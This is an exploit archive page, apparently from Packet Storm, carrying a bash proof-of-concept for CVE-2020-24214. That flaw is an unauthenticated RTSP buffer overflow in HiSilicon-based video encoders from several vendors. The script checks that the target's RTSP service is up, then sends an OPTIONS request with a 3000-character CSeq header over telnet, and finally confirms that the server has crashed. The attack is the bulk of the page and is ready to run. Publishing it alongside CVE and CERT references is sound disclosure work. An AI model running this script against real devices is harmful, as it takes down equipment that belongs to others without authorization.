exploit the possibilities

HiSilicon Video Encoder Buffer Overflow / Denial Of Service

HiSilicon Video Encoder Buffer Overflow / Denial Of Service
Posted Oct 19, 2020
Authored by Alexei Kojenov

HiSilicon Video Encoder suffers from an unauthenticated RTSP buffer overflow vulnerability that can cause a denial of service condition.

tags | exploit, denial of service, overflow
advisories | CVE-2020-24214
MD5 | e8f8f7a51674f092ca534371f879a304

HiSilicon Video Encoder Buffer Overflow / Denial Of Service

Change Mirror Download
#!/usr/bin/env bash

# Exploit Title: HiSilicon video encoders - unauthenticated RTSP buffer overflow (DoS)
# Date: 2020-09-20
# Exploit Author: Alexei Kojenov
# Vendor Homepage: multiple vendors
# Software Link: N/A
# Version: vendor-specific
# Tested on: Linux
# CVE: CVE-2020-24214
# Vendors: URayTech, J-Tech Digital, ProVideoInstruments
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
# Reference: https://www.kb.cert.org/vuls/id/896979


if [ "$#" -ne 2 ]
then
echo "usage: $0 <server> <RTSP port>"
exit 1
fi

server=$1
port=$2

printf "checking the target... "
timeout 2 curl -s rtsp://$server:$port \
|| { echo "ERROR: no RTSP server found at $server:$port"; exit 2; }
printf "RTSP server detected\n"

cseq=$(printf "0%0.s" {1..3000})

printf "sending the payload... "
printf "OPTIONS /0 RTSP/1.0\nCSeq: %s\n\n" $cseq | telnet $server $port >/dev/null 2>&1
printf "done\n"

sleep 1
printf "checking the target again... "
if timeout 2 curl -s rtsp://$server:$port
then
echo "ERROR: the RTSP server still seems to be running :("
else
echo "SUCCESS: the server is down"
fi
Login or Register to add favorites

File Archive:

May 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    1 Files
  • 2
    May 2nd
    4 Files
  • 3
    May 3rd
    27 Files
  • 4
    May 4th
    17 Files
  • 5
    May 5th
    3 Files
  • 6
    May 6th
    32 Files
  • 7
    May 7th
    11 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close